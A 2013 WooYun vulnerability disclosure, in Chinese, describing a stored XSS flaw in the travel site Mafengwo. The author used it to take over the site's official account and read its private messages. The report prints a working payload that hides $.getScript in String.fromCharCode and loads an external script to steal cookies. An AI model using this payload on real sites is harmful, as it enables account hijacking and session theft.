当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-028183

漏洞标题：蚂蜂窝利用定向xss攻击拿官方账号（300万粉丝+任意文章管理）

相关厂商：蚂蜂窝

漏洞作者： 小囧

提交时间：2013-07-08 16:12

修复时间：2013-08-22 16:13

公开时间：2013-08-22 16:13

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-08： 细节已通知厂商并且等待厂商处理中
2013-07-08： 厂商已经确认，细节仅向厂商公开
2013-07-18： 细节向核心白帽子及相关领域专家公开
2013-07-28： 细节向普通白帽子公开
2013-08-07： 细节向实习白帽子公开
2013-08-22： 细节向公众公开

简要描述：

300万粉丝，任意文章编辑，置顶权限,妹纸一大把哈~~~~

详细说明：

挑战粉丝的时候插入图片，onerror $.getScript 加载外部js。。发现对程序对script进行了过滤 然后用 String.fromCharCode 成功绕过。

2.png


产生一条好友互动，应该看见了都会去点吧！~

1.png


刚才xss进去的图片，偷cookie，然后修改src 变为一个表情演示下，让别人看不出来异常！

3.png


抓包xss js代码， 然后往系统账号那里发送.....

var dd = function (uid) {
  $.getJSON('http://www.mafengwo.cn/ajax/ajax_wagerother.php?touid='+uid+'&wagerid=5&challengeflg=challenge&cash=10000&msg=%3Cimg%2Fsrc%3D%221%22class%3D%22zj%22onerror%3D%22eval(String.fromCharCode(36%2C46%2C103%2C101%2C116%2C83%2C99%2C114%2C105%2C112%2C116%2C40%2C39%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C122%2C101%2C110%2C100%2C50%2C46%2C115%2C105%2C110%2C97%2C97%2C112%2C112%2C46%2C99%2C111%2C109%2C47%2C51%2C46%2C106%2C115%2C39%2C41%2C59))%22%3E',function(d){
  console.log(d.msg);
})
}


才发出去就收到cookie了！！！

6.png


漏洞证明：

9.png


任意文章编辑。。

11.png


任意文章回复管理。。

12.png


关注了下自己，随便看了看。私信里面很多和用户的互动信息。。
其他有待发现了，

修复方案：

版权声明：转载请注明来源 小囧@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-07-08 16:44

厂商回复：

处理中，非常感谢~

最新状态：

暂无

漏洞评价：

评论

  1. 2013-07-08 16:36 | D＆G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    关注

  2. 2013-07-08 16:40 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    换qb的节奏？

  3. 2013-07-08 16:42 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    @小胖胖要减肥 换了200qb了。。 想弄个平板，ipad mini 119估计也拍不上了~

  4. 2013-07-08 16:47 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @小囧 MINI估计上300 我猜的

  5. 2013-07-08 16:48 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    @小胖胖要减肥 我拍的时候 有个 上线 是130~ 它不是有个上线么?怎么能出300

  6. 2013-07-08 16:50 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @小囧 竞拍有个规则 你的wb减去起拍价再除2+原价 是你出的最高价 那就是说你有160左右？

  7. 2013-07-08 16:51 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    擦~ 怎么有这个 规则哟。。 嗯~ 160

  8. 2013-07-08 16:52 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    @小胖胖要减肥 我还以为 出130 就可以直接把ipad mini 拿走勒~~~太2了~

  9. 2013-07-08 16:54 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @小囧 囧